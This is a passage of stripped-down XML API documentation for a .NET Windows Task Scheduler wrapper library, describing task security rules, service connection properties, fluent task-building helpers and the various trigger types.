list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + 